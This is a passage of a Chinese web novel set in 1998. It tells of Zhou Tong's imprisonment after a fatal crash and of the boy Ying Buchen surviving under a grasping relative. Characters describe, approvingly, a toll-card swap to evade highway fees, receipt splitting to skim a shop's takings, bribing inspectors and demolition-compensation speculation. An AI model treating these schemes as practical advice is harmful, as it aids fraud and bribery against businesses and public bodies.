“做什么...”周瞳的手被阿宁抓住,是柔软的,是窝心的,是所有人都把他当过街老鼠,但是她说我是为了你来的。周瞳的心涨得难受,他想起了那些过夜时候隔壁的呻吟,想起了女人白得像兔子一样的胸脯,他看见阿宁亲吻他的喉结,说,“做什么。”
暖黄色的被子覆盖在脑袋上,像是一个小帐篷,阻隔着外界一切烦恼。
二人喘息着,不安着,月光一样的倾泻的肌肤被周瞳掐得釉红,脖颈上亲吻过度会留下的羞耻的印记。
“跟我走吧,”阿宁闭着眼睛,任由他亲吻自己的脖颈,引着他的手解开自己的文胸,“离开这里,好吗?”
***
周瞳蹲在垃圾桶边上抽烟,烟盒里的最后一支,他胡子拉碴,头发也有好久都不剪了,身上揣了些盗版的影碟,想再买一包烟,发现衣服的兜兜漏了,一分钱也没了。
周瞳没有解开阿宁的文胸,也没有回应阿宁的邀请。
他在那一刹那耳边只想起了应不尘的哭声。
“草,完蛋玩意儿,”周瞳踢了一脚可乐罐,又锤了一下裤当,“嘶,”有点疼。
周瞳不知道去哪里,只能往汪奶奶家走。
他回头看,阿宁房间的灯还是亮着,转而,灭了,西北姑娘的爱意是不可攀折的高山杜鹃,周瞳上不去,杜鹃下不来。
一贫如洗,一文不值,周瞳自嘲一般,可是却忘不了阿宁的眼睛。
“为何你明明动了心,却又不靠近?”
她的眼睛像沙漠里的红花碱蓬,好似拥有了就能修复被盐沤烂了的土壤。
周瞳有点生气,不知道为什么就想打应不尘一顿。
周瞳在夜里偷了一辆自行车,打算明天回来给他还上。
自行车上了一把锁,有点难开,他蹲在地上解这烂车的锁,拿一块石头锤,锤着锤着,忽然就一滴眼泪下来了。
“你吗的,你这个狗东西,”周瞳憋着一股劲儿,继续锤,“我怎么就摊上了你这狗东西,我咋就...摊上了你这个,狗东西...”
“狗东西,”周瞳也不知道现在在干什么,只觉得自己有些没处使的力气,“你吗的,狗东西,草。”
周瞳的声音还是哽咽了,女孩儿关了的灯像是灭了周瞳心里最后柔软的一寸。
“你这个,狗东西。”周瞳的声音带了哭腔,那会儿,周瞳真的看不见月亮了。
周瞳终于把锁锤开了,但是这个轮子是瘪的,骑不动。
周瞳把车子甩在路边,颓丧地坐在路上,他连一根烟都没有了。
98年,快要来了。
但是,来了又怎么样呢?
周瞳用衣服捂住了眼睛,却发现领子处沙沙响。
28. 1998[3]
应不尘最近只觉得周瞳阴沉地可怕,再也不逗他笑了。
周瞳吃饭的时候也不跟他说话了,应不尘有点儿害怕。
他故意找话题。
“哥,我分班考,考的还行,第一名。”应不尘说。
“嗯。”周瞳闷头吃饭。
“奶奶的情况医生说只要照顾得好,还是不会那么快的。”应不尘说。
“嗯。”周瞳就飞速就扒完了饭。
“哥...”应不尘还想说什么。
周瞳拧着眉毛说,“吃你的饭。”
应不尘这么大的孩子了,还吃上眼泪拌饭了。
应不尘不知道周瞳在外面发生了什么,反正总不是好事情。
应不尘读初二了,马上他就13岁了。
这时候,应不尘身边也出现了一个人,别人叫他李泥鳅。
这个李泥鳅是汪奶奶家姨妈支的孩子,说是知道姑姥姥病了,特地前来照顾。
应不尘不太喜欢这个李泥鳅,但是李泥鳅却上杆子对应不尘好。
人家都说,这李泥鳅像第二个周瞳。
比如,有钱的时候上杆子来,没钱了,半年也看不见一次。
才没有。应不尘想,只是哥晚上才来你们看不见罢了。
比如,精明的劲儿总是以小博大的,买了点肉就故意说是自己等着人家杀猪的,没断气呢就提回来了,就为了让老太太吃上第一口。
才不是。应不尘想,哥可不是这种不着四六的人。
李泥鳅说应不尘上学压力大,他作为汪奶奶家最近的孩子,总是要肩负起照顾长辈的责任,不像那个半道儿子。
应不尘还小,但是他也能明白,李泥鳅是汪奶奶遗产的继承人,就是来吃绝户的。这种东西,虽然应不尘明白,也不喜欢李泥鳅,但是也挨不住人家说一句,不是李泥鳅吃,不也是你哥跟你吃吗?
李泥鳅在掐着点儿等汪奶奶死,还撺掇她把这房子卖了,起码是个宅基地,房子盖的早,地方不错的,要是汪奶奶没了,这地儿也是叫村里镇上的收回去。
汪奶奶不知道心里在想什么,还真的给卖了,只不过,卖得便宜,她想死在这里的,等死了就给了。
李泥鳅不爽,但是也没怎么多话,说着新春还有买卖,每个月过来都看汪奶奶。
应不尘把这事儿当个大事,跟周瞳说。
周瞳捡着菜,说,“咱俩在这吃汪家的米,还想百年汪家的钱呢?吃你的饭,你奶自己心里有算盘,别惦记。”
应不尘憋憋嘴,想说李泥鳅又不是什么好人。
周瞳给应不尘夹了一筷子菜,说,“要是那人,只是想钱,就是最简单的人,给他钱就行了,汪奶奶没养他没生他的,他来这儿当然就是为了那么点东西,就许你惦记,不许人家惦记?”
“我没惦记!”应不尘觉得有点委屈,但是跟周瞳讲不清楚。
二人差了八九年的年纪,照着虚岁,二人差了快十年。
“读你的书,”周瞳说,“一天到晚心思啥呢。”
“哥,你晚上在这儿睡觉吗?”应不尘问。
“快过年了,外面热闹,”周瞳说,“我忙着呢。”
周瞳在这一年里有钱就往黄师傅那送了,剩下点钱,还要留着给应不尘过年,这孩子蹿个子了,袖子都明显地短了一节,露出个手踝在外面。
孩子越长大越花钱,现在大家伙儿都对教育重视了,大学生在外面可是吃香。
包分配工作不说,还要给房子呢,给的房子可不是那种铁皮房了,都是小楼,里面住员工。
虽然还远,但是周瞳想,应不尘这小子,以后学啥吃香呢?
“你以后想干啥?”周瞳问。
“不知道。”应不尘说,“干啥能跟你天天待一起?”
“滚,”周瞳说,“等你读完大学,二十来岁的人了,我都快四十了,你青春洋溢的,我一身老人味,你跟我待一起干啥?我看你你看我啊?”
“那有什么不好的。”应不尘说,“那干啥啊?”
“你问你奶奶去呗,”周瞳说,“那火车,嗖嗖的,铁路是吧,起码要四通八达的了,那个小轿车,我看那几个败家子都买呢,上医院也是,现在的医生都是不得了的,你看看你想学啥?”
“学啥最便宜啊?”应不尘又问。
“那是你该心思的事儿吗?”周瞳说,“行了,你先上你的高中,你知道啥呀?”
“学厨子行吗?”应不尘问,“你每天都来吃饭。”
“我苦不啦几的供你出来,你当墩子啊?”周瞳问,“那你读书读那干啥呢?芹菜青菜能分清楚了你就去呗。”
“那我当老师行吗?”应不尘问,“还有寒假暑假,我能来找你。”
“当老师?”周瞳说,“那你问你奶去呗,你问我干啥?”
周瞳跟他讲不明白,快13岁的孩子了,天天就是读书跟照顾老人,耐心好得不得了,除了哭哭鼻子倒是也没别的毛病,除了做饭还是难吃,都不知道他省那半勺盐能咋滴,能把几十万的债都还了还是咋滴。
但是想到这里又觉得这孩子可怜。
他小时候不小心做错的事情,已经持续第几年了?
周瞳拉了个板凳坐在汪爷爷的黑白照片前面,翘着二郎腿,搓着手指,觉得当时太能造了,把钱都霍霍没了,现在搞成这样。
但是想了想,就算不造,也差不多,要是几万的债还能这么想,几十万,嘿嘿,没死都不错了。
万元户那会儿都是不得了的事情。
好家伙这应不尘,给周瞳整了个几十万元户,还是负的。
几个孩子能做到啊?
李泥鳅还是来,拎着些单掺的礼品,怕自己拿来的东西都让这半大小子给造了,连鲜荔枝罐头跟八宝粥都没有,拎来的是鸡。
炖着鸡,应不尘不乐意吃他的东西,自己蘸点儿霉豆腐就吃饭。
“小尘啊,你生日啥时候呢?”李泥鳅问,“我还以为这大过年的你哥就把你接回去呢,你哥这么忙?”
应不尘不跟他说话,把碗帮边上挪了挪。
汪奶奶现在时睡时醒,跟李泥鳅说,“这小孩生日好,日子大,招财神的日子。”
汪奶奶在扒瞎,应不尘这些年的生日呢,基本就是瞎说八道的,他自己不知道,周瞳也不知道,捡来是具体哪一天,周瞳早忘了,约摸在正月初六还是初八,就当着过年一块儿过了。
汪爷爷呢自己喜欢看点易经八卦的
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书,看着应不尘的手掌上的纹路,就给应不尘定了个生日,以后方便他上户口,做证明的时候用,大生日早上学,小生日晚上学。
因为应不尘跟周瞳都是海边的孩子,当年还带着应不尘去掷了圣杯的。
汪爷爷说,这个日子好,吉利,平安,腾飞,大富大贵,好日子加好时辰,骗过山神跟鬼怪,偷偷享受好运跟好命,圣杯问了,神明就允了。
从前的汪奶奶相信科学,不信爷爷这一套,说他怪力乱神,但是现在人家问起应不尘的生日的时候,她就清醒了,她重复了好几次应不尘的生日。
还从椅子上坐起来,指挥去翻汪爷爷留下的纸筏,要叫李泥鳅看。
别人说汪奶奶老年痴呆了,死了丈夫的寡妇,想汪爷爷想疯了。
“哟,小尘的八字这么好呢?”李泥鳅没当回事,想这小孩儿咋这么不要脸,他哥也不要脸,正儿八经的亲戚都在这里了,咋好意思舔个脸在这里住啊?还真的是来夺遗产来了,钱都造不老少了,咋这么贪心呢,说是让孩子料理老太太,到底是谁占便宜了自己心知肚明。
“他得读书,”汪奶奶喃喃说,“他得读书,才能好。”
“是呀,得读书。”李泥鳅说,“这儿去上学,自行车都得骑个半个小时,咋没想着住在学校里呢?”
“我得看奶奶吃药。”应不尘说。
“真孝顺。”李泥鳅说。
实则烦死了
应不尘那辆自行车太老了,现在的小孩子都骑改良过得了,不是像应不尘那样座位那么高的,都得斜着骑,是周瞳从前骑过的。
现在的街上都是摩托车了,偷摩托的人也多,飞车党更多,专门摘人家的项链跟耳环。
摩托车可比自行车快多了,要周瞳骑的话,估计比那些人都好看,因为周瞳大长胳膊大长腿,身材好,长得又端正,但是周瞳的眼睛不好,吹不得什么风。
应不尘老能看见夏天他往眼睛里滴眼药水。
李泥鳅来了,周瞳就来的少了,听说他最近跟租碟片的混在一起,正忙着打麻将,那会儿时髦的家里头都有VCD了,看过一次就想着要攒点钱给家里也弄一个,睡觉的时候也能看自己喜欢的东西,不像电视机,一到晚上就变成条纹,啥也没有了。
周瞳会往应不尘的书包里塞钱,每次给的都不少,让他买衣服,买菜,给奶奶买带轮子的椅子。
应不尘去看周瞳的时候,周瞳正在捣鼓碟片。
“你来干啥?”周瞳问。
“我买东西,路过这儿,”应不尘说,“看见门口有你的自行车。”
有人来租碟片,周瞳狗狗搜搜的从厕所里拿出来一堆,说,“便宜的,你自己选,还的时候,你还街尾那家去,行不?”
什么碟片都得上了才知道人家看不看,周瞳说是在这里白干活儿,还得陪着打麻将,但是实则他都自己个儿租自己的碟,无本生意。
周瞳叼着烟,又给应不尘塞了一把钱,说,“过年了,买炮去,我过年回来吃饭。”
“嗯!”应不尘哒哒哒的跑了。
周瞳好像好起来了。
在98年的新春即将来临的时候,将要13岁的应不尘跟23岁的周瞳并不知道,分别来得那么快。
29. 1998[4]
团年夜,应不尘在奶奶家里包饺子,李泥鳅没来。
奶奶的身体一年不如一年,煮饺子都要拿凳子坐着。
应不尘经常去医院里看书,也算上是陪着奶奶。
应不尘认识医院的那两个字,肿瘤。
奶奶的文化水平在她清醒的能指点一些,但是初中的数学公式对经常迷糊的奶奶来说,还是有难度了。偶尔周瞳去看奶奶,也只会翘着二郎腿指挥应不尘给他削苹果,然后摆弄他那个bb机,这个时候bb机也开始不时俏了,大哥大正在大张旗鼓的走进这里。
外面的小孩儿穿着红色的棉袄,拉着小灯笼,还玩摔炮,现在的炮花样越来越多了,今年贴了汪爷爷从前写的对联,应不尘又拓了一遍。
「相爱喜逢同程伴」
「结缘恰是共耕人」
不像对联,像喜联。
对联一贴上就有年味儿了。
奶奶今天是清醒的,说,“你哥还不来吃年夜饭,你呼他一下。”
“嗯,”应不尘说,“我刚刚就呼过了。”
“再不来,菜冷了,”奶奶笑着给应不尘系围裙说,“这人,这么一把年纪了还是不靠谱。”
“奶奶,你先吃,别等他。”应不尘说。
话虽然这么说,但是饺子包上了却没下锅,应不尘呼过去,也没动静。
约摸在十一点多的时候,应不尘的bb机被呼了。
应不尘跑到楼下去找电话亭,但是就这几分钟,应不尘的bb机被呼了一遍又一遍,周瞳很少会这样,他什么事儿都不着急,慢慢悠悠的,他说,“这叫喜怒不形于色,学吧,小子。”
应不尘不知道这有啥好学的。
应不尘急匆匆的跑往一个红色电话亭。
赶紧回拨过去。
接通的瞬间,对面却只有喘气声。
“喂?”应不尘说。
外面的雪下得正大,应不尘没穿外套,冷的肩膀都发抖,但是他想起来小时候周瞳说,说雪都是他撒在地上的盐,没什么好怕的,也没什么好冷的,又感觉好了不少。
对面还是呼吸声,比刚刚平稳。
“喂?”应不尘又喊了一声。
“那什么,过年了,过年好啊,”还是熟悉的口气,但是周瞳沉默了一下,说,“但是这个,过年,你瞳哥还得去跑外地的厂子看看,这些外国老板都不要过年的,他们没这日子,”周瞳的语调甚是温柔,“就不能,不能陪你过年了啊。”
“那什么,你考试你好好考啊,这回,这回别叫我生气了啊。”周瞳说。
“我都考完了。”应不尘抠着电话亭的漆。
他怎么总忘啊,过年前孩子就考试了呀!
“啊,这么回事,最近酒喝多了。”周瞳说,“行啊,那哥走了啊,那个,床底下,你往里头爬,里面有个高压锅。”
“高压锅?”应不尘奇怪。
“那什么,你读书啊,什么的,”周瞳摸摸鼻子,说,“高压锅里面,给你留了啊,我这回,好几个人呢,去考察,考察你知道吧?就是要去外面厂子里头住,回来一趟也费劲,能明白吧?”
周瞳说,“听话,要是有啥事儿,你就,你就,去找你奶奶,行不?”
应不尘有点儿不依,大过年的,为啥不回来呢,明天再去不行吗?
“奶在等你。”应不尘瘪瘪嘴,“挣钱,就一定要过年吗?反正...又还不完。”
他那头似乎很吵,他压低了声音说,“没事了,宝贝儿。”
他实在太温柔了,都不像他了,他重复着,“以后都没事了,宝贝儿。”
应不尘被撂了电话,感觉不是很对劲。
吃完饭,应不尘独自走回了家,路上实在太冷了,哪怕是周瞳给他买了很好的的棉袄,他也觉得冷。
应不尘走到家的时候,脚都已经冻麻,奶奶又糊涂了,呆呆地正在看电视。
奶奶的手已经瘦得不像样了,医生说,要是不积极治疗的话,有点麻烦了。
积极治疗的另外一种意思,叫做砸钱。
应不尘也不知道饺子煮了多久,反正皮儿都烂了,成了一锅肉汤,他才反应过来。他吸了吸鼻子,挑几个好的出来给奶奶吃。
在12点的烟花绽开的时候,天寒地冻的,应不尘一个人走在路上,去往那个半地下室。
没人。
应不尘走到这里,时钟已经指向了两点。
他在床上坐了一会儿,就往床底下钻。
确实有一个高压锅,周瞳在这里留下了很多钱,都是百元的大圆头。
***
应不尘初一的时候回家,李泥鳅来了,看见应不尘回来还有点儿嫌弃。
应不尘歇都没歇,又扭回去半地下室了。
他一个人躺在床上,床上有周瞳的味道。
周瞳三天没回来。
五天也没回来。
七天也没回来。
应不尘来汪奶奶的家,被告知奶奶已经被李泥鳅送去医院了。
过了年,应不尘就13岁了,13岁家里苦的都出去养家了。
应不尘去医院看奶奶,奶奶的情况更严重了。
应不尘给周瞳的呼机呼叫,留言了很多,再也没回复过。
应不尘坐在那个半地下室,看着这个屋子,莫名觉得周瞳不会回来了。
但是他不信,周瞳从来就不是这样的人。
小小的宜华,找一个人多容易,容易到周瞳随便走在哪里都能被债主找到。
大大的宜华,找一个人多难呢,难到应不尘跑遍了所有地方连毛都找不到。
应不尘去音圈厂,被告知早就换了老板了,再问其他事,都说不知道。
应不尘来周瞳经常来的卡拉OK,他们说未成年不让进。
应不尘蹲在门口,人家也没人理他,过年的时候他们生意好得很。
应不尘终于逮住了一个他以前见过的,跟周瞳喝过酒的人,他自我介绍,但是对面却怎么也想不起来,应不尘跟人家描述,“个子高高的,帅的,穿黑衣服,卖音响的。”
“不知道啊,”那人说,“还有别的吗?”
“是...”应不尘吸了一口气,说,“眼睛瞎了一只。”
“嗷!你说那个混子啊,”那人一下子就想起来了,站在花坛边尿尿,他说,“不知道啊,好像坐牢去了吧。”
应不尘
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天塌了。
他颤抖着不知道去哪里,他眼睛什么也看不见,晚上的霓虹灯刺得他的眼睛好痛,他撰紧了拳头,不知道发生了什么。
应不尘去找黄师傅,托他打听,最后才知道了缘由,约摸在他初二下半年的快要开学的时候。
说是周瞳跟一个败家子喝完酒出来,开着败家子的小车,撞死了一个骑自行车的老人。
老人是个退休的官儿,上了多回报纸了,这位老先生最开始在村里做知青,带领村里的人种果树,带着村里的孩子学文化,就在文盲遍地的时代。
再后来就到了这县城里,就开始搞教育了。从前过得苦,身上有点钱都拿去给学校了,他现在正在翻新县城的图书馆,增多了许多种植,电路,裁缝类的书籍,只要是你想学知识,去老先生那登记,他就会想办法给您找。
要是没有的,老先生就给省城去信,给北京去信,让他们给宜华批新的图书。
他一生都没有做过坏事,却在整理完图书馆回来的路上出了事,被碾在车底下,连脸都已经看不清楚了。
应不尘去上学的时候,人家都知道他哥撞死了每次开学校长都要邀请来的老先生,大家对他翻白眼,瞧不上他。
学生这样,老师也这样,只是没有学生明显罢了。
老先生葬礼吊唁的时候,应不尘推着奶奶过去,人家没让他们进。
***
此事之后,奶奶的病就更严重了。
奶奶在医院的缴费需要排队,应不尘拿着周瞳留给他的那些零碎的钱去缴费,但是却发现单子上有人往里面存了钱。
应不尘来到了黄师傅这里,说,“我那时候闯祸欠下的钱,剩下多少钱呢。”
“要是我不读书了去打工的话,还要还多少呢?”
黄师傅一根一根地抽着烟,说,“你哥给了一笔钱了,过年的时候找人送来的,我打了收据。”
“你哥,给钱了。”黄师傅重复了一次。
“面粉厂的那些人,”黄师傅说,“你那儿可有单子吗?”
“我都记得。”应不尘说。
“我这儿收到你哥的款子,够还债了。”黄师傅搓着眼睛,问,“你想给他们吗?”
他们一直都在欺负周瞳,没日没夜,无休无止。
应不尘咬着牙,抿紧了嘴唇,不想说话。
“我明白你哥的意思,你要是...”
应不尘的眼泪跟断了线一样往下掉,他断说,“还。”
黄师傅摸摸他的头,没说话。
约摸一个礼拜后,黄师傅在学校门口等应不尘。
他挨家挨户的去收了欠条,每一笔都有签字手印,还剩下的装在信封里,拿给应不尘。
黄师傅拍了拍应不尘肩膀,要走了。
应不尘问,“去哪里?”
“回去村里种地。”黄师傅说。
应不尘急急地往前走了两步,说,“黄爷爷。”
“嗯?”黄师傅转过头来,看着应不尘一晃儿就长高了,再也不是坐在他家门口哭的孩子了,他说,“怎么回事,我怎么记不得你哥丧家败狗的样子了,我也是老年痴呆了,光记着他春风得意的样儿呢?”
30. 1998[5]
汪家老太太说,她快死了,要去到养老院去了,买房子的钱分三份了,她自己的白事一份,李泥鳅一份,应不尘一份。
但是前提是,要让应不尘读书。
李泥鳅不知道老太太有多少钱,但是这孩子的钱不也是自己的吗?带回去就自生自灭得了呗。
这个地方没法呆了,连学校都没法呆了。
应不尘不去学校了,就守在老太太跟前。
老太太基本就在医院了。
老太太时而清醒,时而迷糊,她没有别的路给应不尘铺了。
李泥鳅在汪奶奶跟前迁走了应不尘的户口,汪奶奶就走了,安详的,温柔的。
世界上就只剩下应不尘一个人了。
上次汪爷爷走的时候,周瞳大操大办,连烟酒都给的体面,他就坐在这里抱着披麻戴孝的应不尘。
这次汪奶奶走了,李泥鳅连饭菜都稀烂得没法看,体面了一辈子的人,走得时候寒掺得没法看。
丧家饭还是同一个白房先生。
李泥鳅正站在他的桌子面前,皱着眉毛,看着人家送来的帛金,嫌少了。
李泥鳅对着白房先生说,点点支出本,说,“孝心这个东西,在心里就行了。”
一般这么说白房就懂了。往省了办。
什么敲打班子戏文台子都不要了,用个喇叭在灵堂钱放哭戏文就得了。
李泥鳅也夜宵也没给人打算,连想在这守夜的同村人都觉得他在赶人。
白房先生从前也是看不上周瞳的,但是他亲眼看了汪家老爷子的丧家饭,也是亲手把帛金本子跟钞票交给汪老太太的,别人都说周瞳想吃绝户,白房先生不这么看,他知道,那个年轻人给汪家老爷子办的,都够在这村里买个房子了。
哪怕是时隔这么久来,汪老爷子灵相前烟火不断,墙上都熏出了黑色的烟。
汪老爷子没看错人。
汪家老爷子,怎么就不保佑这孩子呢?
白房先生在这附近走动频繁,汪家两口子搞得半道儿子的事儿也是传得有鼻子有眼的,纵是他不想知道,周瞳那些光荣事迹也是要到他耳朵里来的。
光是背了面粉厂的债没有逃出去,就够人竖一个大拇哥了,当然,拿着他的欠条的人除外。
白房顿了顿笔,又看了看李泥鳅,心里不是滋味,那户口都迁了,死人的话,还能较真吗?
看着跪在灵堂前面才上初中的应不尘,搓了搓手,白房与阴阳先生合伙儿办了点事。
汪奶奶前脚下葬,后脚李泥鳅就带着应不尘走了,去新春,隔壁的县城。
白房耍了点小把戏,让阴阳先生在席间说这个孩子八字太好了,有富贵命,带着财神来的,手上的财神线断过一截,现在越来越粗了,这旺爹财的,周瞳是他哥,他接不住,当了爹才行。
李泥鳅不太相信。
又拿着应不尘的八字去算。
高人算一次得不少钱,听完八字说了与阴阳先生一样的话。
应不尘不愿意去新春的,但是他答应了奶奶要好好读书,可是这里不让读了,应不尘连上厕所都容易叫人推倒,弄得一身骚味儿。本来就是不大点的小子,身上沾了尿,委屈得连哭的地方都没有。
应不尘一边擦衣服,一边想周瞳。那会儿他的记忆还不是很完整,他只记得,他小时候有醉鬼往他身上尿尿,哭的是周瞳。
应不尘现在还是个未成年,他除了读书没什么能做的,周瞳那么苦,还不是要供他读书?
应不尘在去的路上想明白了,只要哥不是死刑,就有出来的日子,他给周瞳攒着,等他出来了,什么都给他,叫他一点苦也吃不着。
少年总天真。
去往新春的大巴车上,李泥鳅戳戳应不尘,问,“老太太给你留了多少钱?”
应不尘抱着个包,闭着眼睛说,“我记得你是在马路上给人领路的是吧?”
李泥鳅说,“那咋了?”
应不尘说,“一,我能让你挣钱,二,你每个月给我五百元。”
“你疯了啊,我给你五百一个月?”李泥鳅说,“你算个什么东西?现在工程师一个就两千块,你知道工程师是啥吗?”
应不尘靠在座椅背上,说,“宜华到新春的路上有六个出口,都是对向车道,老板在每个口安收费亭。宜华领的出高速的过关卡可以让新春一路开过来的人从一口走,如果是大车的话,这80元的计费卡就只能收12,因为收费员只能认为开了一小节。”
“而宜华那辆车他跑到快到六口的时候再拿别人的过关卡,到了新春也就只能算一小节,能听懂吗?”
李泥鳅一拍脑门,呲牙想了一会儿,说,“我现在还没有,等我有了,我每个月给你成不?”
这是应不尘很小的时候听周瞳说的,他在带应不尘去省城的时候。
周瞳说,人家的小孩儿从娘胎里就得泡着,泡着泡着,他就会了,不用教。
李泥鳅本来就是吃公路饭的,他能明白这事儿的可操作性,常年付出昂贵过路费的司机只需要跟李泥鳅说上路的时间,交换了卡就能减去很多路费,而李泥鳅从中吃的红利,90年代,县城的高速路上还没有那么多探头,围栏也常常不完整,也没有先进的卡机与计费器,高速的封闭也没有那么严格。
李泥鳅捡着宝了,问,“还有啥?”
应不尘摊着手要钱,李泥鳅说,“哎哟,以后给你不就成了?以后你是我亲儿子!”
周瞳的一点小把戏,应不尘想,李泥鳅得管周瞳叫祖师爷。
“我听你说,李家有宗祠是吗?”应不尘问。
“咋的,你上了我户口本还不算,你特么连我李家祠堂也想进?”李泥鳅说,“你想啥呢?”
从前应不尘问周瞳,“为啥刘叔都一个散工,也没啥技术,你还要帮他呢?”
“没办法啊,架上去了,不给办就显得我见人下菜碟了,”周瞳说,“你晓得沈老板教会我的第一件事是什么吗?”
应不尘躺在床上问周瞳,“啥呀?你都没见过他几回。”
“好名声。”周瞳说,“因为他的名声好,谁说了都是他尊重搞教育的,尊重有文化的,对工人好,工人就越来越愿意跟他干。”
“然后呢?”应不尘问。
“名气,”周瞳掰着手指跟他说,“这东西摸不着是不是?名气可以成事,也可以败事,我算着运输队的跑货量,这几年面粉厂已经不景气了
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,下岗潮要开始了,但是呢沈老板的名气实在太好了,做一点儿不好的事从前都白干,架上去了,一般人都下不来。”
“沈老板啊,就是自己个儿架高了,这面粉你也拿我也拿,从前当体恤下面的人,现在你想管,人家都咒你骂你,完了还偷,拿的时候都念着他好,互相监督着,你也不多拿,我也不多拿,等要偷的时候,都怕是最后一回,越偷越多。”周瞳说,“想做一件事儿的时候,就把他架上去,口子打开了,事情办大了,他就下不来了。”
“我要你当个疼儿子的好爹,”应不尘说,“你发财了,我要你在祠堂敬猪头,不管我发生什么,都供我读书。”
“真能发财?”李泥鳅问。
“你能办吗?”应不尘说。
“咋不能办?老太太跟前发了誓的。”李泥鳅有点儿不信,“真能发财?”
“你听我的不?我哥跑大车的,从前他多有钱,你不知道?”应不尘问。
李泥鳅闭嘴了。
应不尘看着窗外离宜华越来远的风景,想起了他俩前几年没钱的时候。
当时他带应不尘去买衣服,孩子的运动服都特别贵,但是也会有店面打折,那会儿周瞳没什么钱,看见买一送一的牌子就非要进去。
应不尘不知道他没钱怎么还敢进去的?
周瞳说,“这个女的不是老板,我看了好几次了,这个女的对生意都没什么反应,也不招呼人,一副爱买不买的样子。”
“那跟我们有什么关系?”应不尘问。
“你看好吧。”周瞳说。
周瞳坐在店里,快要关门了,女人在盘账。
女人说,“关门了,不卖了。”
周瞳还是坐着,然后说,“我家孩子,我想让你送件衣服给他穿。”
女人吃了一惊,说,“你没病吧?”
周瞳说,“你地上的包装袋,我看着今天应该卖了有好几百块钱。”
女人说,“关你什么事?”
周瞳说,“我要是能把你的账凭空多出来钱,都是给你的,长期能干,你能送我孩子一件衣服不?”
女人说,“哪里来的精神病。”
周瞳说,“行不行?”
女人将信将疑,说,“怎么弄?”
周瞳说,“你这里的衣服买一送一,就是买一件贵的,送一件比那便宜的,是不?”
女人说,“对啊。”
周瞳拿笔,说,“你这一笔,人家买的50的衣服,要求了一个40的裤子,是吗?那你的账单,你就把这些贵的跟贵的加在一起,出一单,便宜跟便宜的加在一起,又是一单,盘货不会少,多出来的钱,不就是你的了吗?你的那个老板也不常来,你操作个几次,一天多个十几二十块,没什么问题。”
果然经过周瞳的计算,凭空就多了50几元。
周瞳说,“我孩子能选件衣服吗?”
应不尘想到这里就笑了出来。
“胆大,心细,还有...”周瞳掰着手指。
“还有啥?”应不尘穿着新衣服问。
“瞎胡诌。”周瞳说。
真好笑,笑完,就觉得苦了,他好想周瞳啊。
***
31. 1998[6]
应不尘每个礼拜都去宜华,在路上看书。
但是每次都是不让会见,正在侦查中的。
李泥鳅在房子里隔了个阳台给应不尘住,给应不尘弄进了初中。半道进来了,应不尘成绩好,老师做了摸底试卷,这娃看出来基础打得这么扎实,估计是没少花钱搞他的教育,连着高年级的题目都有思路,老师还挺高兴,又跳了一级。
李泥鳅听着应不尘的话,骑着个自行车穿梭在过路的村里,每天只需要躲避巡查,但是也会被抓到,巡查罚的款子还是有点多,而且,谁知道他们真的给老板了还是自己了。
李泥鳅不乐意,上学校堵应不尘,应不尘已经住校了,他很少回来的。
“罚你,”应不尘在外面的小店里吃炒饭,说,“你就等着他罚吗?”
“啥意思啊?”李泥鳅说,“我咋跑你说。”
“跑什么,”应不尘说,“罚你,你就大大方方配合工作,你给他罚一部分交差,送一部分私交,你干那事儿,人家也能干那事儿,凭啥大车得找你?”
“凭啥?”李泥鳅问。
应不尘有点烦,这个人怎么这么笨。
“菩萨还得吃香火,何况是凡人?巡查吃了你的米,你们就是一条船,大头你开了路,他这个土地爷罩着只有你一座庙,这里打了本钱,去路费上找回来就是了。”
“那人家要是不收呢?”李泥鳅说,“人家吃的都是公路米饭,金碗呢。”
“什么碗不能砸?”应不尘说,“他好好的金碗饭不放米,非得跟你一个黑耗子较劲儿,等着你一回一回的去举报吗?”
“他丢的金饭碗,你就换条路,光脚不怕穿鞋的,你都不明白吗?”应不尘说完,拿着书走了。
那会儿,周瞳什么都没有,就敢斗运输队队长,他说,光脚的不怕穿鞋的,自己没啥好输得,但是队长输不起。
手上的东西越多,越是输不起。
李泥鳅呆愣在原地,这个小子从前咋藏得那么深?
应不尘出来的时候叹了口气,当年的周瞳回家嘴碎,也不管他听不听得懂,他说,四两拨千斤的前提是,你有鱼死网破的决心,往往那些大家都别好过的人,最后坐在一张桌子喝酒。
“有钱啊,就能通开路,是人啊,就都有软肋,老娘病重,老婆爱钱,孩子上学,”周瞳说,“哪能都为了自己呢?”
那会儿,应不尘问他,“哥,你的软肋是啥?”
“哥哪有软肋,爹妈都死光了,老婆也没有,就一条烂命。”周瞳打着摩丝,说,“你猜猜你是啥?”
“是啥?”应不尘问。
“你是我的小心肝呀,”周瞳夹着应不尘的咯吱窝抱起来,说,“哥一身硬骨头,就心肝是软的。”
李泥鳅最后也确实让巡查也吃上了米,新春在整个省城的腹部,本就是交通要地,这儿的公路土地庙实在香火旺盛,有一伙人看得眼红。
最近李泥鳅有点烦,礼拜六礼拜天都见不到他人,都快放假了,那小子暑假肯定窝宜华去。
李泥鳅在学校门口又堵住了应不尘。
“干啥,”应不尘说,“这个月的钱已经给我了,还来给钱?”
李泥鳅挠挠头,说,“有伙人盯着我。”
应不尘说,“盯着你怎么了,坐不稳?”
李泥鳅说,“差不多吧。”
“这儿的公路修起三年,老板基本就要把收费亭卖了,转手来的人就是指着这儿溜缝子,国家啥时候收回去,就收回去了。”应不尘说,“你那个活计,本来也就那么点东西,人家要,就给他去呗。我算日子,顶多半年你那儿就换人了,挣不上了。”
“那咋整啊?”李泥鳅问。
“现在的车是不是越来越多了?”应不尘问。
“可不是吗!正干的热火朝天呢!”李泥鳅说。
“那边的村镇,你可熟?”应不尘问。
“那我能不熟?我都跟他们村长一起吃饭。”李泥鳅说。
“下个月开始,我要一个月两千块。”应不尘说,“我知道,你拿得出来,你这半年没少挣,我坐大巴车都能听说。”
“两千...”李泥鳅瞪大眼睛,又败下来,说,“行,两千就两千。”
“路窄,车多,要扩路,马上就千玺年了,国家会修更贵更好的路,”应不尘说,“新春位置好,你就不能打听打听,哪个村的要修路了,修路会碰上俩事,一个,都是田,补偿不了多少钱,一个,拆迁,拆了房子来修路。”应不尘说,“两条路,你找那些跟你关系好的村长,把钱给到位了,叫人家跟你一起干,田里盖房子,养猪厂最便宜,垒了砖就算,接着就是拆迁,同村就让村长帮忙你出钱,买了人家的房子就是。”
“你妈的...”李泥鳅说,“这得啥时候能回本?”
“你不干那马路生意了,谁爱干谁干,风声大些,最好让大家都知道,我跟说的你那些玩意儿垒完之后,让村长传消息。你想要钱快,你就转手卖。应该用不上半年。”
